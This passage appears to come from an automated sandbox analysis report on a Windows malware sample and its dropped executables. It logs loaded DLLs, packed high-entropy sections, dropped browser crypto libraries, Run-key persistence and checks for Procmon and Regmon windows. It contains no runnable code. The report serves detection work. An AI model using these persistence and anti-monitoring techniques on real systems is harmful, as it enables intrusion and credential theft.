Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1744384 > 1048576

Source: file.exe

Static PE information: Raw size of wdsvuckv is bigger than: 0x100000 < 0x190000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2018142c2f.exe, 00000025.00000003.2423298037.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, 2018142c2f.exe, 00000025.00000002.2500019865.0000000000DA2000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wdsvuckv:EW;fmumcniz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wdsvuckv:EW;fmumcniz:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Unpacked PE file: 26.2.DocumentsIEGCAAKFBA.exe.630000.0.unpack :EW;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.650000.0.unpack :EW;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.650000.0.unpack :EW;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.650000.0.unpack :EW;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;peszfxun:EW;uoryxkfj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Unpacked PE file: 34.2.1017b01294.exe.270000.0.unpack :EW;.rsrc:W;.idata :W;uzuifqev:EW;yhwixkgc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uzuifqev:EW;yhwixkgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Unpacked PE file: 35.2.474b2c9b63.exe.bb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wdsvuckv:EW;fmumcniz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wdsvuckv:EW;fmumcniz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Unpacked PE file: 38.2.1017b01294.exe.270000.0.unpack :EW;.rsrc:W;.idata :W;uzuifqev:EW;yhwixkgc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uzuifqev:EW;yhwixkgc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE93480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CE93480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.32.dr	Static PE information: real checksum: 0x2b355a should be: 0x2bcd76
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: real checksum: 0x30448a should be: 0x2ff4d6
Source: random[1].exe.32.dr	Static PE information: real checksum: 0x1b9ac3 should be: 0x1af06b
Source: 2018142c2f.exe.32.dr	Static PE information: real checksum: 0x2b355a should be: 0x2bcd76
Source: file.exe	Static PE information: real checksum: 0x1b9ac3 should be: 0x1af06b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x30ddd0 should be: 0x30f7d3
Source: 1017b01294.exe.32.dr	Static PE information: real checksum: 0x30ddd0 should be: 0x30f7d3
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x30448a should be: 0x2ff4d6
Source: 474b2c9b63.exe.32.dr	Static PE information: real checksum: 0x1b9ac3 should be: 0x1af06b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wdsvuckv
Source: file.exe	Static PE information: section name: fmumcniz
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name:
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name: peszfxun
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name: uoryxkfj
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: uzuifqev
Source: random[1].exe.0.dr	Static PE information: section name: yhwixkgc
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name: peszfxun
Source: skotes.exe.26.dr	Static PE information: section name: uoryxkfj
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: 1017b01294.exe.32.dr	Static PE information: section name:
Source: 1017b01294.exe.32.dr	Static PE information: section name: .idata
Source: 1017b01294.exe.32.dr	Static PE information: section name: uzuifqev
Source: 1017b01294.exe.32.dr	Static PE information: section name: yhwixkgc
Source: 1017b01294.exe.32.dr	Static PE information: section name: .taggant
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .rsrc
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: wdsvuckv
Source: random[1].exe.32.dr	Static PE information: section name: fmumcniz
Source: random[1].exe.32.dr	Static PE information: section name: .taggant
Source: 474b2c9b63.exe.32.dr	Static PE information: section name:
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: .rsrc
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: .idata
Source: 474b2c9b63.exe.32.dr	Static PE information: section name:
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: wdsvuckv
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: fmumcniz
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: .taggant
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: .idata
Source: random[1].exe0.32.dr	Static PE information: section name: nbohhauh
Source: random[1].exe0.32.dr	Static PE information: section name: qsvzttvm
Source: random[1].exe0.32.dr	Static PE information: section name: .taggant
Source: 2018142c2f.exe.32.dr	Static PE information: section name:
Source: 2018142c2f.exe.32.dr	Static PE information: section name: .idata
Source: 2018142c2f.exe.32.dr	Static PE information: section name: nbohhauh
Source: 2018142c2f.exe.32.dr	Static PE information: section name: qsvzttvm
Source: 2018142c2f.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECB536 push ecx; ret	0_2_6CECB549
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_0064D91C push ecx; ret	26_2_0064D92F
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00641359 push es; ret	26_2_0064135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0066D91C push ecx; ret	27_2_0066D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0066D91C push ecx; ret	28_2_0066D92F

Source: file.exe	Static PE information: section name: wdsvuckv entropy: 7.953988789764273
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name: entropy: 7.065072930094783
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.074939558291015
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.065072930094783
Source: 1017b01294.exe.32.dr	Static PE information: section name: entropy: 7.074939558291015
Source: random[1].exe.32.dr	Static PE information: section name: wdsvuckv entropy: 7.953988789764273
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: wdsvuckv entropy: 7.953988789764273
Source: random[1].exe0.32.dr	Static PE information: section name: entropy: 7.8060151155516735
Source: 2018142c2f.exe.32.dr	Static PE information: section name: entropy: 7.8060151155516735

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIEGCAAKFBA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIEGCAAKFBA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Jump to dropped file
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIEGCAAKFBA.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1017b01294.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 474b2c9b63.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2018142c2f.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIEGCAAKFBA.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
